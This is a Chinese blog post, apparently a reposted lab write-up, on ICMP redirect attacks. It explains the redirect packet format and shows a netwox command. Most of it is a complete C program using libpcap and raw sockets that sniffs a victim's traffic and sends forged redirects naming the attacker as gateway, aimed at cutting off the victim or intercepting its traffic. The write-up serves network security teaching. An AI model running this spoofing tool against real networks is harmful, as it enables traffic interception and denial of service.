ICMP重定向攻击

(新搭了博客,贴一篇远古前的文章看看效果)

一 实验原理

ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它的路由表,黑客就会发送ICMP重定向信息给被攻击的主机,让该主机按照黑客的要求来修改路由表,如果黑客要求该主机将网关修改为黑客自己的机器,就使得该主机在发送数据包时,都会被黑客获取,进一步实现中间人攻击或者DOS攻击。

ICMP数据包格式:

img

有多种不同的ICMP报文,每种报文都有自己的格式,但是所有的ICMP报文都有三个共同的字段:

  • TYPE(8-bit): identifies the message
  • CODE(8-bit): provides further information about the message type
  • CHECKSUM(16-bit)
  • In addition, ICMP messages that report errors always include the header and the first 64 data bits of the datagram causing the problem.

TYPE字段:8位

  • 0:Echo Reply
  • 3:Destination Unreachable
  • 4:Source Quench
  • 5:Redirect (change route)
  • 8:Echo Request
  • 9:Router Advertisement
  • 10:Router Solicitation
  • 11:time Exceeded for a Datagram
  • 12:Parameter Problem on a Datagram
  • 13:timestamp Request
  • 14:Timestamp Reply
  • 17:Address Mask Request
  • 18:Address Mask Reply

在此要实现的是ICMP的重定向,所以编码时TYPE应该为5,在写PING包的时候,请求时的TYPE应该为8,而回复时应该为0 。

CODE字段:8位

  • 0:network unreachable
  • 1:host unreachable
  • 2:protocol unreachable
  • 3:port unreachable
  • 4:fragmentation needed and DF(don’t fragment) set
  • 5: source route failed

CHECKSUM:16位校验和。

Gateway Internet Address:对于ICMP重定向包,需要让对方依照收到的网关地址将路由表中的网关地址进行修改。

DATA:包内容,需要28字节的数据,包括原始IP数据报的头部(20字节)及其数据部分的前8字节。

综上,在进行发包的时候我们需要填写内容有:20字节的IP包头部+8字节的ICMP包头部+28字节的数据部分。

二 实验环境

  1. Mac OS IP地址:192.168.1.97(攻击机)

  2. Ubuntu IP地址:192.168.1.4(被攻击机)

  3. Kali Linux IP地址:192.168.1.14(攻击机)

  4. 原始网关地址:192.168.1.1

三 实验步骤

  1. 使用netwox体会实验效果,使用netwox 86发送ICMP重定向包,

sudo netwox 86 –g 192.168.1.97 –i 192.168.1.1

被攻击机使用ping http://baidu.com命令,可以得到以下结果:

image-20221211152620226

表示netwox成功进行了ICMP重定向。

启动wireshark,观察netwox发出的数据包:

image-20221211152658388

通过wireshark抓包查看所发出的数据包的源IP是.1而不是攻击者真实的IP;

通过抓包,查看攻击数据包的结构

image-20221211152713423

请注意,ICMP重定向报文除了ICMP包中的通用头部之外,还包括原始IP头部信息和数据报文的前8个字节。也即,在构造ICMP重定向包中,除了头部之外,还需要额外的28字节(在IP头部没有可选字段的情况下)

另外,注意观察,netwox发出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。

  1. 在充分了解实验原理的基础上,自己使用raw socket,写出来一个icmp redirect包,达到使受害者不能正常上网的目的。

代码如下:

  1. 主函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int main(int argc, char *argv[])

{

char *dev;

if(argc != 4)

{

printf("Usage: %s Attacker-ip Target-ip Gateway\n", argv[0]);

return 0;

}

ip_atk = argv[1];

ip_tgt = argv[2];

ip_gw = argv[3];

dev = FindDev(); //查找dev

printf("attacker: %s\ntarget: %s\nGateway: %s\nFounded Device: %s\nStart ICMP redirecting...\n",ip_atk, ip_tgt, ip_gw, dev);

sniff(dev);

}

主函数引导用户输入攻击机ip,受害者ip,网关地址,然后利用FindDev()函数查找主机默认的设备。然后执行sniff()嗅探过程。

  1. FindDev()

用于查找默认设备。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
char *FindDev(){ // 查找默认设备

char *dev, errbuf[PCAP_ERRBUF_SIZE];

dev = pcap_lookupdev(errbuf);

if (dev == NULL) {

fprintf(stderr, "Couldn't find default device: %s\n", errbuf);

return NULL;

}

return dev;

}


  1. 嗅探
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
void sniff(char * dev){

char errbuf[PCAP_ERRBUF_SIZE];

pcap_t * handle;

bpf_u_int32 net = 0;

bpf_u_int32 mask = 0;

struct bpf_program fp;

char filter_exp[100] = ""; //filter_exp内容为过滤表达式

sprintf(filter_exp, "src host %s", ip_tgt);// 过滤表达式

if(pcap_lookupnet(dev, &net, &mask, errbuf) == -1)
//pcap_lookupnet()是一个函数,给定设备的名称,返回其中一个IPv4网络号和相应的网络掩码(网络号是IPv4地址与网络掩码进行AND运算,因此它只包含地址的网络部分)。

{

fprintf(stderr, "Can't get netmask for device %s\n", dev);

net = 0;

mask = 0;

}

handle = pcap_open_live(dev, 65535, 1, 100, errbuf);

//第一个参数是我们在上一节中指定的设备。 snaplen是一个整数,它定义了pcap要捕获的最大字节数。 promisc,当设置为true时,将接口带入混杂模式(但是,即使设置为false,也可能在特定情况下接口处于混杂模式,无论如何)。 to_ms是读取超时(以毫秒为单位)(值为0表示没有time out;至少在某些平台上,这意味着可能要等到足够数量的数据包到达才能看到任何数据包,因此应该使用非零值)。

if (handle == NULL) {

fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);

return;

}

if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {

//第一个参数是我们的会话句柄(前一个例子中的pcap_t *句柄)。 接下来是对我们将存储过滤器的编译版本的位置的引用。 表达式本身就是常规字符串格式。 接下来是一个整数,它决定表达式是否应该“优化”(0为假,1为真。)最后,我们必须指定过滤器适用的网络的网络掩码。 失败时函数返回-1;所有其他值意味着成功。

fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));

return;

}

if (pcap_setfilter(handle, &fp) == -1) {

// 第一个参数是我们的会话处理程序,第二个参数是对表达式的编译版本的引用(可能是与pcap_compile()的第二个参数相同的变量)。

fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));

return;

}

pcap_loop(handle, -1, Redirect, NULL);

//第一个参数是我们的会话句柄。接下来是一个整数,它告诉pcap_loop()在返回之前它应该嗅探多少个数据包(负值意味着它应该嗅探直到发生错误)。第三个参数是回调函数的名称(只是函数名,没有括号)。最后一个参数在某些应用程序中很有用,但很多时候只是设置为NULL。

}

嗅探过程利用到pcap。

其中pcap_open_live()打开设备进行嗅探。

pcap_compile()进行流量过滤,设置过滤表达式,来接收来自受害者主机的包。

pcap_setfilter()为对过滤表达式的应用。

之后执行pcap_loop()使其持续进行嗅探的操作,并且在接收到数据包时,调用回调函数Redirect来发送重定向包。

  1. 回调函数Redirect()发包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
void Redirect(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet){

int sockfd;

struct sockaddr_in dest;

if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

//int socket( int af, int type, int protocol);

//af:一个地址描述。仅支持AF_INET格式,也就是说ARPA Internet地址格式。 AF_INET使用IPv4协议

//type:指定socket类型。发送ICMP所以使用原始套接字SOCK_RAW

//protocol:指定协议。

{

printf("create sockfd error\n");

exit(-1);

}

printf("detected a packet...\n");

//传入socket描述符,原始数据帧地址

u_char out_packet[20 + 8 + 28]; //20为ip头部 8字节icmp头 28字节为针对的原始ip首部及数据部分前28字节

struct ip *iph = (struct ip *)out_packet; //ipHeader

struct icmp *icmph = (struct icmp *)(out_packet + 20); //icmpHeader

//填充ip头部内容

iph->ip_v = 4;

iph->ip_hl = 5;

iph->ip_tos = 0;

iph->ip_ttl = 255;

iph->ip_len = 56;

iph->ip_id = 0;

iph->ip_off = 0;

iph->ip_p = 1;

iph->ip_sum = 0; //抓包的时候显示ip检验和没有检验 所以不用填也可以

iph->ip_src.s_addr = inet_addr(ip_gw); //源地址为网关地址

iph->ip_dst.s_addr = inet_addr(ip_tgt); //目的地址为被攻击机地址

//填充icmp头部

icmph->icmp_type = 5;

icmph->icmp_code = 1;

icmph->icmp_hun.ih_gwaddr.s_addr = inet_addr(ip_atk); //重定向到攻击者地址

icmph->icmp_cksum = 0;

icmph->icmp_cksum = checksum(out_packet + 20, 36); //检验和

dest.sin_family = AF_INET; \

dest.sin_addr.s_addr = inet_addr(ip_tgt); //目标ip

if(sendto(sockfd, &out_packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest)) < 0)

{

printf("Error number: %d\n", errno);

exit(-1);

}

//函数说明:sendto() 用来将数据由指定的socket 传给对方主机. 参数s 为已建好连线的socket, 如果利用UDP协议则不需经过连线操作. 参数msg 指向欲连线的数据内容, 参数flags 一般设0, 详细描述请参考send(). 参数to 用来指定欲传送的网络地址, 结构sockaddr 请参考bind(). 参数tolen 为sockaddr 的结果长度.

printf("Sent a packet\n");

}

对于数据包,前14字节为帧首部,之后20字节为ip首部,之后8字节为icmp首部,之后28字节的内容应填写为针对的原始ip首部及数据部分前28字节。(实验中测试了这28字节,发现一个比较疑惑的点:无论是否填写该部分内容,对结果都没有影响,都可以实现重定向。)

  1. 代码实现结果:

可以看到,攻击机进行攻击时会不断嗅探受害者发送的包,并返回一个重定向包。

image-20221211153200226

此时受害者进行ping操作时,会收到重定向包。

image-20221211153220185

利用wireshark抓包,可以看到重定向包内容,且该重定向包的源IP为原网关的IP地址。

image-20221211153235749